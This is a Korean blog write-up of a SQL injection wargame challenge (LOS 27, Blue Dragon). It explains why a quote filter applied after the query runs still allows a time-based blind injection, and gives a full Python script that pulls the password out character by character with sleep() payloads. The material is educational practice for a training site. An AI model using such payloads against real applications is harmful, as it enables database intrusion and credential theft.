LOS(The Lord of the SQLI) 27 - BLUE DRAGON
2021. 2. 25. 18:16ㆍ정보보안/웹 해킹

27번 문제인 Blue Dragon이다.
이젠 마지막 조건식을 보면 pw값을 알아내야 하는 Blind SQL Injection이라는것을 알 수 있다.
그리고 필터식을 보면 '(싱글쿼터)와 \(역슬래쉬)를 사용하지 못한다.

'(싱글쿼터) 삽입 시 위와 같이 no hack이라고 출력된다. 여기에서 이상하다고 생각한 부분은 여태까지는 아예
다른 화면으로 넘어간 뒤 에러를 출력했는데 이번 문제에서는 위에 쿼리문은 그대로 남아있다는 점이었다.
결론부터 말하자면 이 문제는 처음으로 Time Based Blind SQL Injection 방법을 이용해 해결하였다.
Time Based 방식을 이용할 수 있었던 이유는 '(싱글쿼터) 필터링이 쿼리 실행후에 필터링되기 때문에
No Hack ~_~ 이라는 에러 문구가 출력되어도 쿼리 자체는 전달되어 sleep() 함수 등의 시간 지연 함수로
참인지 거짓인지를 판별할 수 있기 때문이다.
문제를 풀기위해 작성한 스크립트는 다음과 같다.
import requests
import time
URL = 'https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php' # 자신의 los 4번 문제의 url 주소 수동 입력
cookies ={'PHPSESSID': 'ivcu814ac0c2fj0ol7pqsqpdat'} # 자신의 los 세션값 수동 입력
ascii_range = []
for i in range(48,58):
ascii_range.append(i)
for i in range(97,123):
ascii_range.append(i)
# 패스워드의 길이를 찾는 함수
def find_len():
pw_len = 0
while True:
pw_len += 1
# url? 뒤에 추가될 값이 value
value = "admin' and if(length(pw)={},sleep(2),1=2)#".format(pw_len)
parms={'id': value}
start = time.time()
response = requests.get(URL, params=parms, cookies=cookies) # URL과 파라미터, 쿠키를 설정한 후 request를 보낸 뒤 돌아오는 response(응답값)를 저장
end = time.time()
if end - start > 2:
print("길이는", pw_len, "입니다.")
break
print("Trying")
return pw_len
def find_pw():
pw_len = find_len()
flag=''
for pw_value in range(1,pw_len+1):
for ascii in ascii_range: # 아스키 코드값
value = "admin' and if(ascii(substr(pw,{},1))={},sleep(2),1=2)#".format(pw_value,ascii)
parmas = {'id':value }
start = time.time()
response = requests.get(URL, params=parmas, cookies=cookies)
end = time.time()
if end - start > 2:
print("pw의",pw_value,"번째는",chr(ascii), '입니다.')
flag += chr(ascii)
break
print("pw는", flag, "입니다.")
find_pw()


'정보보안 > 웹 해킹' 카테고리의 다른 글
| wargame.kr - 1(already got) (0) | 2021.02.27 |
|---|---|
| LOS(The Lord of the SQLI) 28 - FRANKENSTEIN (0) | 2021.02.27 |
| LOS(The Lord of the SQLI) 26 - RED DRAGON (0) | 2021.02.25 |
| LOS(The Lord of the SQLI) 25 - GREEN DRAGON (0) | 2021.02.25 |
| LOS(The Lord of the SQLI) 24 - EVIL WIZARD (0) | 2021.02.25 |